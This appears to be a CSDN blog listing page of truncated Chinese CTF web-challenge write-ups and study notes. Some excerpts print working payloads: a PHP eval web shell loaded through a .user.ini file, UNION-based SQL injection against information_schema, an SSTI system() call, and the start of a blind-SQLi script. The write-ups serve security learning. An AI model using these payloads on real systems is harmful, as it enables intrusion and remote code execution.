Jerem1ah-CSDN博客

转载 PHP_INCLUDE_TO_SHELL_CHAR_DICT

php

2022-09-10 12:29:39 322

原创 vulnhub Me-and-My-Girlfriend-1

web安全

2022-07-14 21:14:28 1219

原创 [ISITDTU 2019]EasyPHP 之草稿笔记（仅为草稿）

/

2022-06-05 20:29:45 535

[CISCN 2019 初赛]Love Math分析：<?phperror_reporting(0);//听说你很喜欢数学，不知道你是否爱它胜过爱flagif(!isset($_GET['c'])){ show_source(__FILE__);}else{ //例子 c=20-1 $content = $_GET['c']; if (strlen($content) >= 80) { die("太长了不会算"); }

2022-05-17 17:58:55 327

原创 ctf常见编码

base32:https://www.qqxiuzi.cn/bianma/base.phpIJQXGZJTGLT3ZFXHUCA6RJ5D46QIC===base64:https://www.base64decode.org/RW5jb2RlIHRvIEJhc2U2NCBmb3JtYXQ=md5:https://www.cmd5.com/hash.aspxe10adc3949ba59abbe56e057f20f883eunicode:http://www.jsons.cn/unic

2022-05-08 23:03:10 5335

原创 [FBCTF2019]RCEService

[FBCTF2019]RCEService看了4、5个wp，都是直接上源码，说是比赛时题目给了源码？<?php putenv('PATH=/home/rceservice/jail'); if (isset($_REQUEST['cmd'])) { $json = $_REQUEST['cmd']; if (!is_string($json)) { echo 'Hacking attempt detected<br/><br/>

2022-05-02 17:23:45 1015

原创正则表达式浅谈

1.修饰符（g、i、m、s）g是一行的全局、m是多行都能匹配；i是大小写都行、s是说有字符；2.正则表达式的应用编辑器的词法分析器网站上注册表单爬虫中提取信息搜索查找3.限定符（？、*、+、{ }）？0次或是一次：可以有或者没有used?----use或者used* 0次或是多次：可以没有也可以有多次ab*c-----ac、abc、abbc+ 1次或多次：至少得有一次，可以多次ab+c-----abc、abbc、abbbc{}给定具体范围ab{

2022-05-01 11:18:32 348

原创本周web题

[BSidesCF 2019]Kookie[BJDCTF2020]ZJCTF，不过如此CTFHUB find_it[CISCN2019 华北赛区 Day2 Web1]Hack World

2022-04-24 17:39:21 191

原创 [极客大挑战 2019]RCE ME

[极客大挑战 2019]RCE ME<?phperror_reporting(0);if(isset($_GET['code'])){ $code=$_GET['code']; if(strlen($code)>40){ die("This is too Long."); } if(preg_match("/[A-Za-z0-9]+/",$code)){ die("NO."); } @

2022-04-24 17:33:56 1782

原创 [CISCN2019 华北赛区 Day2 Web1]Hack World

[CISCN2019 华北赛区 Day2 Web1]Hack World注入题：直接抓包burpsuite fuzz测试过滤了一些关键字，但能够看出来存在bool漏洞发现当true时，Hello，glzjin wants a girlfriend.fslse时，Error Occured When Fetch Result.据此，写脚本import requestsimport stringimport timetimeout=Nonedef bool_blind(url):

2022-04-24 11:26:11 614

原创 CTFHUB find_it

CTFHUB find_itdirsearch扫描robots.txtWhen I was a child,I also like to read Robots.txtHere is what you want: 1ndexx.php1ndexx.php无法访问；扫缓存.1ndexx.php.swp[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-tzCdf50K-1650768257307)(C:\Users\27969\AppData\Roaming\Ty

2022-04-24 10:44:39 3498

原创 [BJDCTF2020]ZJCTF，不过如此

[BJDCTF2020]ZJCTF，不过如此error_reporting(0);$text = $_GET["text"];$file = $_GET["file"];if(isset($text)&&(file_get_contents($text,'r')==="I have a dream")){ echo "<br><h1>".file_get_contents($text,'r')."</h1></b

2022-04-22 22:30:49 1372

原创 [BSidesCF 2019]Kookie

[BSidesCF 2019]Kookie根据题目，这题和cookie逃不了关系先用admin登录一下，提示无效的用户名和密码再看payload/?action=login&username=admin&password=admin传的是username和password，前面提示是cookie，那就用cookie传一下这里说的意思应该是我们的用户名是admin&password=admin这样的话吧后面的&password=admin去掉就好了

2022-04-20 21:44:15 440

原创 python相关

session和cookieimport requestsurl = "www.baidu.com"session = requests.session()session.post(url)url = "www.daidu22.com"res = session.post(url)print(res.json())防盗链和referenceimport requests代理proxyimport requests#代理proxies = { "https":"h

2022-04-17 20:23:12 359

原创 [BUUCTF 2018]Online Tool

[BUUCTF 2018]Online Tool打开看到一串代码php代码审计：<?phpif (isset($_SERVER['HTTP_X_FORWARDED_FOR'])) { $_SERVER['REMOTE_ADDR'] = $_SERVER['HTTP_X_FORWARDED_FOR'];}if(!isset($_GET['host'])) { highlight_file(__FILE__);} else { $host = $_GET['h

2022-04-17 20:18:04 1261

原创 [SUCTF 2019]CheckIn

[SUCTF 2019]CheckIn不怎么看感觉就是一个文件上传，再加上checkin，感觉不难== 结果.user.ini+图片马+index.php三者缺一不可，图片马内容：文件名m.jpgGIF89a？<script language="php">@eval($_POST["web"]);</script>.user.ini内容：GIF89aauto_prepend_file=m.jpgflag{55134a88-950d-4115-af3b-

2022-04-16 21:44:13 773

原创 [b01lers2020]Life on Mars

[b01lers2020]Life on Mars/query?search=hesperia_planum union select database(),group_concat(schema_name) from information_schema.schemata得到库名：aliens、alien_code/query?search=hesperia_planum union select database(),group_concat(table_name) from informat

2022-04-16 15:39:37 264

原创 [BJDCTF2020]The mystery of ip

[BJDCTF2020]The mystery of ip查看hint，在源码中找到提示：能获取ip的有remote_addr和X-Forwarded-For等了解了一下X-Forwarded-For可以伪造不是SQL注入，看wp是SSTI注入：SSTI模板注入，看的有些晕{{1+1}}：返回了2，可以执行命令{{system('find / -name flag')}}/flag输入命令{{

2022-04-16 15:38:08 91

原创 [网鼎杯 2018]Fakebook

[网鼎杯 2018]Fakebook（fake:赝品；假货；冒充者dirsearch扫出来：db.phperror.php/cssuser.phpview.php flag.phprobots.txt#能访问的就robots.txt 和 view.php 在robots.txt里发现user.php.bak下载得到php文件，代码审计：<?phpclass UserInfo{ public $name = ""; public $age = 0

2022-04-12 18:51:47 1144

原创 [安洵杯 2019]easy_serialize_php

[安洵杯 2019]easy_serialize_php代码审计<?php$function = @$_GET['f'];function filter($img){ $filter_arr = array('php','flag','php5','php4','fl1g'); $filter = '/'.implode('|',$filter_arr).'/i'; return preg_replace($filter,'',$img);}if($_SES

2022-04-09 20:23:26 1163

原创 [网鼎杯 2020 朱雀组]phpweb

[网鼎杯 2020 朱雀组]phpweb抓包发现func=data&p=Y-m-d h:i:s a大概就是传进去一个函数名给你执行，传file_get_contents，index.php得到一下面的内容代码审计 <?php $disable_fun = array("exec","shell_exec","system","passthru","proc_open","show_source","phpinfo","popen","dl","eval","proc

2022-04-09 20:18:58 303

原创 [网鼎杯 2020 青龙组]AreUSerialz

[网鼎杯 2020 青龙组]AreUSerialz一上来就代码审计<?phpinclude("flag.php");highlight_file(__FILE__);class FileHandler { protected $op; protected $filename; protected $content; function __construct() { $op = "1"; $filename = "/tm

2022-04-06 17:56:58 1390

原创 [ZJCTF 2019]NiZhuanSiWei

[ZJCTF 2019]NiZhuanSiWei先搞不会的知识点：1.file_get_contents()将文件读入到一个字符串并返回。file() 函数把整个文件读入一个数组中。漏洞：file_get_contents()可以使用伪协议绕过解题：php代码审计<?php $text = $_GET["text"];$file = $_GET["file"];$password = $_GET["password"];if(isset($text)&&(fil

2022-04-05 11:03:35 439

原创 3.28-4.3周报

3.28-4.3周报这周的感觉是学习特别没计划，东西很零散，今天说要学python，明天遇到php的函数看不懂又想着学php，学了些机器学习的相关入门的数据分析，本来计划每天留出点时间学一下，第二天就又没什么动力了。对密码学也挺感兴趣的，就又学了RSA算法，发现自己信安数学基础不太牢靠。misc也是想起来了才写一写。web的东西，主要在看一些漏洞的介绍，想着下一步学哪个漏洞，是继续挖sql注入，upload等，还是学不了解的漏洞，或者是比赛中常见的漏洞，现在也还没什么思路还在继续了解中，同时也稍微完善一

2022-04-03 20:46:03 973

原创题目-[安洵杯 2019]easy_web

3X05题目-[安洵杯 2019]easy_webimg参数两次base64解码一次hex解码得到555.png相反index.php经过反步骤得到TmprMlpUWTBOalUzT0RKbE56QTJPRGN3替换之后得到base64编码解码后得到php代码<?phperror_reporting(E_ALL || ~ E_NOTICE);header('content-type:text/html;charset=utf-8');$cmd = $_GET['cmd'];if (!i

2022-03-20 22:28:18 1665

原创周记14-20

3.14-3.20总结：技术学习：1.周六周日参加了虎符CTF,和校内天梯赛竞赛，ctf是菜到爆，就会签到题。。校内天梯赛，还好一个寒假没写过程序题了，也没报太大希望，结果3小时坚持下来还前30了，，不过和第一的差距不止那么一点点，隔着个海似的，不过毕竟也不是打算法的。2.有在完成明理杯参赛论文，和队友飞书会议讨论修改论文内容等，忙了几个晚上。3.有在尝试独立解web题目，但真的解不出来哇。ctf比赛时还是感觉misc稍微简单一些，不过真正做起来也不容易。4.服务器的事没怎么打理，命令还是都不会，

2022-03-20 21:38:56 115

空空如也

空空如也